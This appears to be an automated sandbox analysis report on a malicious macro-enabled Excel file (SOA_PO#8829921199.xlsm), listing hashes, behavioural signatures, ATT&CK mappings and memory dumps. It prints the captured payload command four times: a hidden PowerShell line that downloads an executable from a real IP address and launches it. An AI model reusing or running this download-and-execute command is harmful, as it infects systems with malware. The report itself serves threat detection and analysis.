54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0

General

Target

SOA_PO#8829921199.xlsm
Size

165KB
MD5

c0a096ce5928bce34fffd5874093f235
SHA1

971a8fbd841e42dcab84288205525b89301825c2
SHA256

54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0
SHA512

9d7c5aaf2fe546422ff3379169909929ec50f6eebba27d527178066c943ea2973a72c7501202b9502c8ccd646dfe6b49c1194c34b8f9822404bf1fad6971eb61
SSDEEP

3072:BJNjJehd8PiRjkctohQQRBK0BvyixmZ49ke+jJLNkYa6+Rc64d:BJN06iactuRbB6M9+1GYaza64d

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2692	1716	powershell.exe	32
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3028	1716	powershell.exe	32
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	836	1716	powershell.exe	32
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2132	1716	powershell.exe	32

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2692	powershell.exe
3028	powershell.exe
836	powershell.exe
2132	powershell.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2120	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2692	powershell.exe
3028	powershell.exe
836	powershell.exe
2132	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE
2120	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 1260	2120	EXCEL.EXE	30
PID 2120 wrote to memory of 1260	2120	EXCEL.EXE	30
PID 2120 wrote to memory of 1260	2120	EXCEL.EXE	30
PID 2120 wrote to memory of 1260	2120	EXCEL.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SOA_PO#8829921199.xlsm
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8cf55243303865183755b5cb9d5c0a67

SHA1
eabfbc431de10b82953ddc880d724466b4109edc

SHA256
fe232c410fb65c1315816e967455853d07dec6cbda6da272835b5f11edc7b684

SHA512
a2cd0fa83df920a90d50d0b64a1888fa9c807b1ee24723a7235666ae52622246797c59472b483beb4e320b2880a6392177b4e7c6246407093b25f3910aa2182b

Download Submit
memory/2120-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2120-1-0x000000007243D000-0x0000000072448000-memory.dmp

Filesize
44KB

Download
memory/2120-2-0x000000007243D000-0x0000000072448000-memory.dmp

Filesize
44KB

Download
memory/2120-5-0x0000000006520000-0x0000000006620000-memory.dmp

Filesize
1024KB

Download
memory/2120-12-0x0000000006520000-0x0000000006620000-memory.dmp

Filesize
1024KB

Download
memory/2120-13-0x0000000006520000-0x0000000006620000-memory.dmp

Filesize
1024KB

Download
memory/2120-21-0x0000000006520000-0x0000000006620000-memory.dmp

Filesize
1024KB

Download
memory/2692-10-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2692-11-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/3028-19-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/3028-20-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download

Analysis

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